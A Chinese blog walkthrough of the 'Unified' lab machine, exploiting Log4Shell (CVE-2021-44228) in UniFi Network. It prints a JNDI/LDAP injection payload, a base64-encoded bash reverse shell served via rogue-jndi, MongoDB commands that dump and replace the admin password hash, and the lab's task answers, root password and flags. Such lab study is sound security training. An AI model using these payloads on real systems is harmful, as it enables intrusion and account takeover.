滲透測試學習day8

文章目錄

    • 靶機:Unified
      • Task1
      • Task2
      • Task3
      • Task4
    • 5-14解題過程
      • Task5
      • Task6
      • Task7
      • Task8
      • Task9
      • Task10
      • Task11
      • Task12
      • Submit user flag
      • Submit root flag


靶機:Unified

Task1

問題:前四個開放端口是哪一個?

22,6789,8080,8443

nmap掃一下
在這里插入圖片描述

Task2

問題:在端口8443上運行的軟件的標題是什么?

UniFi Network

nmap重新掃一下

nmap -sV -v -sC -p 8443 --min-rate 1000 10.129.96.149

在這里插入圖片描述

Task3

問題:正在運行的軟件的版本是什么?

6.4.54

我們通過nmap掃描結果可以知道,8080端口有http服務
訪問一下得到版本
在這里插入圖片描述

Task4

問題:已識別漏洞的CVE是什么?

 CVE-2021-44228

去網上搜一下該版本的漏洞即可

5-14解題過程

搜出來存在log4j漏洞,我們抓包/api/login,構造語句
驗證Log4j漏洞是否存在payload

{"username":"1","password":"1","remember":"${jndi:ldap://10.10.14.212/whatever}","strict":true
}

在這里插入圖片描述LDAP 輕量級目錄訪問協議,默認端口389,如果存在漏洞發送payload消息,會發送數據報文到本機389端
我們開個監聽

sudo tcpdump -i tun0 port 389

注:tcpdump是wireshark的一個程序,可以進行攔截

在這里插入圖片描述可以發現攔截成功,說明目標主機是通過37900端口來訪問本機ldap端口
工具準備如下

準備工具:
openjdk-11-jdk
sudo apt-get install openjdk-11-jdk -y 
Maven
sudo apt-get install maven -y
編譯maven
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi 
//這里要換成阿里云的源,不然下載速度很慢
mvn package  

在這里插入圖片描述
然后準備反彈shell
在這里插入圖片描述

執行以下命令

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMTIvMTAyOCAwPiYxJw==}|{base64,-d}|{bash,-i}" --hostname "10.10.14.212"

在這里插入圖片描述然后開啟監聽,bp發送
在這里插入圖片描述成功反彈shell
在這里插入圖片描述
然后先找到user的flag
在這里插入圖片描述

查看mongdb端口情況

ps aux | grep mongo

查詢結果中的bin/mongod --dbpath /usr/lib/unifi/data/db --port 27117 --unixSocketPrefix /usr/lib/unifi/run --logRotate reopen --logappend --logpath /usr/lib/unifi/logs/mongod.log --pidfilepath /usr/lib/unifi/run/mongod.pid --bind_ip 127.0.0.1 是正在運行的命令或可執行文件的路徑和參數,說明端口為27117

在這里插入圖片描述

嘗試讀取管理員密碼,UniFi程序的默認數據庫ace,查詢admin表的數據

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

注:參數–eval

發現administrator的賬戶信息以及密碼的加密信息
在這里插入圖片描述x_shadow即是密碼哈希, SHA-512 算法使用一個以 6 6 6 開頭的 16 字符字符串鹽值進行散列

以$6$開頭的,表明是用SHA-512加密的;
以$1$開頭的,表明是用MD5加密的;
以$2$開頭的,表明是用Blowfish加密的;
以$5$開頭的,表明是用 SHA-256加密的。星號代表帳號被鎖定ps:是在linux shadow文件才這么表示

當然可以直接用工具hashid解密一下加密方式,發現是sha512
在這里插入圖片描述由于是散列函數,無法破解,只能使用替換方法
替換mongdb中的administrator的密鑰,如下加密admin
在這里插入圖片描述利用nosql的語法,update以下

mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$jaYBW0iCZNXzIuZk$FtGH/we0.hTsf63jTv6fh3sgcPP/J0uIXKXp0ADNWelcqW0ykcTiwnkvI.YePmnRpYMKZ24cqsSCxxg2RtBBs1"}})'

在這里插入圖片描述
然后可以自己再看看會發現,已經把密鑰改為我們設置的admin的
我們直接登錄,在設置發現允許ssh連接并且知道root密碼
在這里插入圖片描述
ssh連接成功
在這里插入圖片描述
繼續得到root的flag
在這里插入圖片描述

Task5

問題:JNDI在注入中利用了什么協議?

ldap

Task6

問題:我們使用什么工具來攔截流量,表明攻擊成功?

tcpdump

Task7

問題:我們需要在哪個端口去攔截流量傳輸?

389

Task8

問題:MongoDB服務運行在哪個端口上?

27117

Task9

問題: UniFi應用程序的默認數據庫名稱是什么?

ace

Task10

問題:在MongoDB中,我們用來枚舉數據庫中的用戶的功能是什么?

db.admin.find()

Task11

問題:在MongoDB中,我們用來更新數據庫中的用戶的功能是什么?

db.admin.update()

Task12

問題:root的密碼

NotACrackablePassword4U2022

Submit user flag

6ced1a6a89e666c0620cdb10262ba127

Submit root flag

e50bc93c75b634e4b272d2f771c33681

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/213307.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/213307.shtml
英文地址,請注明出處:http://en.pswp.cn/news/213307.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

解決IDEA配置gitignore不生效

idea gitignore 不生效 原因 之前已經git add 過,之后再設置.gitignore 文件是不會生效的 解決 撤銷 git add 操作,在控制臺輸入命令: git reset重新使用IDEA 提交代碼即可

打包HTML

結合之前的webpack打包 ,對HTML進行相對應的打包 1.在瀏覽器打開npm搜索 html—webpack—插件 2.下劃找到lnstall復制webpack5里的第一句到終端 3.下滑找到用法配置腳本語言 3.1 復制下圖代碼到之前的webpack.config.js腳本里放在開頭的位置 3.2 復制下圖代碼到之…

pandas 使用方法(1)

目錄 1. excel 表格處理 (1) 讀取excel 表格 (2) 抽取excel表部分列數據 (3) 保存數據到excel表格 (4) 保存到 excel 表中的不同sheet 2. 判斷二維數組中的某個數值是否為空 3. 刪除二維數組中的空行 4. 在列表中添加某列屬性 本文是將使用pandas過程中遇到的問題進行了…

功率器件是什么

功率器件 電子元器件百科 文章目錄 功率器件前言一、功率器件是什么二、功率器件的類別三、功率器件的應用實例四、功率器件作用原理總結前言 功率器件可根據其功率承載能力、工作頻率、開通電阻、速度和效率等參數進行選擇,以滿足不同應用的需求。功率器件的應用領域涉及到電…

【Web】SCU新生賽個人wp及完賽感想

目錄 一些碎碎念: Web Guideline 2048 ezupload hardupload ezphp ezweb ezsql webbuilder tarit tarit_revenge VipDinner simplespi 一些碎碎念: scu新生賽是我全心全力打的第二場比賽,歷時七天,期間不免煎熬&…

孜然地址引導頁V9(帶后臺)

剛剛在瀏覽之前經常訪問的網站的時候我發現他不用那個域名了,然后我見這個頁面好看,就把他干下來了,然后把給他寫了個后臺。另外如果你的子頁面收錄多的話,人家百度訪問你的子頁面會顯示404的,所以為了流量可觀安裝這個…

【算法題】字符串變換最小字符串 * (js)

思路: 將字符按字典排序得到minStr,對比原str 如果 minStr str 則本身就是最小字符串 否則從前往后遍歷str,讓str[i]和minStr[i]對比,如果不同則替換 str[i]為minStr[i],并且這個minStr[i]這個字符要從str中尋找, 如果…

抓取真實瀏覽器設備指紋fingerprint寫入cookie方案

一個關于抓取真實瀏覽器設備指紋寫入cookie方案,用戶訪問頁面獲取到用戶設備生成指紋id,通過js把指紋存入cookie,然后用php進行獲取cookie存的指紋值到后臺。 用途:追蹤用戶設備,防惡意注冊,防惡意采集 瀏…

C語言-每日刷題練習

[藍橋杯 2013 省 B] 翻硬幣 題目背景 小明正在玩一個“翻硬幣”的游戲。 題目描述 桌上放著排成一排的若干硬幣。我們用 * 表示正面,用 o 表示反面(是小寫字母,不是零),比如可能情形是 **oo***oooo,如果…

第9講、集成服務(增強用戶使用體驗感):

1、插入集成服務安裝盤 操作系統關閉: 1)當物理機關機時,Hyper-V上的虛擬機將優先于物理機裝機,如果此時虛擬機還有應用 正在運行,那么會先保存這些應用至磁盤,然后再有序…

【Hadoop_03】HDFS概述與Shell操作

1、集群配置(1)集群啟動/停止方式總結(2)編寫Hadoop集群常用腳本(3)常考面試題【1】常用端口號【2】常用配置-文件 2、HDFS概述(1)HDFS產出背景及定義(2)HDFS…

K8S學習指南(9)-k8s核心對象init pod

文章目錄 引言什么是Init容器?Init容器的使用場景1. 數據初始化2. 網絡設置3. 等待依賴服務 Init容器的生命周期1. **Pending**2. **Running**3. **Terminated** Init容器的示例Init容器的高級用法結論 引言 Kubernetes(簡稱K8s)是一個強大的…

qmap類

QMap是一個關聯數組,它將鍵(key)與值(value)相關聯。QMap類提供了一系列方法來操作和查詢其中存儲的數據。下面是一些常見的QMap方法及其示例代碼: insert()方法用于將鍵值對插入到QMap中。如果鍵已經存在&…

軟件工程考試復習

第一章、軟件工程概述 🌟軟件程序數據文檔(考點) 🌟計算機程序及其說明程序的各種文檔稱為 ( 文件 ) 。計算任務的處理對象和處理規則的描述稱為 ( 程序 )。有關計算機程序功能、…

SQL注入概述

預計更新1.SQL注入概述 1.1 SQL注入攻擊概述 1.2 SQL注入漏洞分類 1.3 SQL注入攻擊的危害 SQLMap介紹 2.1 SQLMap簡介 2.2 SQLMap安裝與配置 2.3 SQLMap基本用法 SQLMap進階使用 3.1 SQLMap高級用法 3.2 SQLMap配置文件詳解 3.3 SQLMap插件的使用 SQL注入漏洞檢測 4.1 SQL注入…

智能優化算法應用:基于灰狼算法3D無線傳感器網絡(WSN)覆蓋優化 - 附代碼

智能優化算法應用:基于灰狼算法3D無線傳感器網絡(WSN)覆蓋優化 - 附代碼 文章目錄 智能優化算法應用:基于灰狼算法3D無線傳感器網絡(WSN)覆蓋優化 - 附代碼1.無線傳感網絡節點模型2.覆蓋數學模型及分析3.灰狼算法4.實驗參數設定5.算法結果6.參考文獻7.MA…

unity學習筆記19

一、角色動畫的使用練習 從資源商店導入的動畫資源(Character Pack: Free Sample)中將資源中的角色創建在場景里,現在場景里存在的角色并沒有任何動畫。 在資源中找到Animations文件夾,在這個文件有很多模型文件(.FBX…

自定義帶有構建標記的Go二進制文件

引言 在Go中,構建標簽或構建約束,是添加到代碼片段中的標識符,用于確定在build過程中何時應將文件包含在包中。這允許您從相同的源代碼構建不同版本的Go應用程序,并以快速和有組織的方式在它們之間切換。許多開發人員使用構建標記來改進構建跨平臺兼容應用程序的工作流程,…

算能 MilkV Duo開發板實戰——opencv-mobile (迷你版opencv庫)的移植和應用

前言 OpenCV是一種開源的計算機視覺和機器學習軟件庫,旨在提供一組通用的計算機視覺工具。它用于圖像處理、目標識別、人臉識別、機器學習等領域,廣泛應用于計算機視覺任務。 OpenCV-Mobile是OpenCV庫的輕量版本,專為移動平臺(A…

學習 NVIDIA Omniverse 的最基礎概念

無用的前言 近兩年關于 Omniverse 的宣傳一直很多,可我一直沒去了解,連它是個啥都不知道。最近正好有契機需要了解它,于是我今天抽時間看了些它的官方介紹,并按照自己的理解梳理在這里。 官方資料索引 Omniverse 官網主頁&…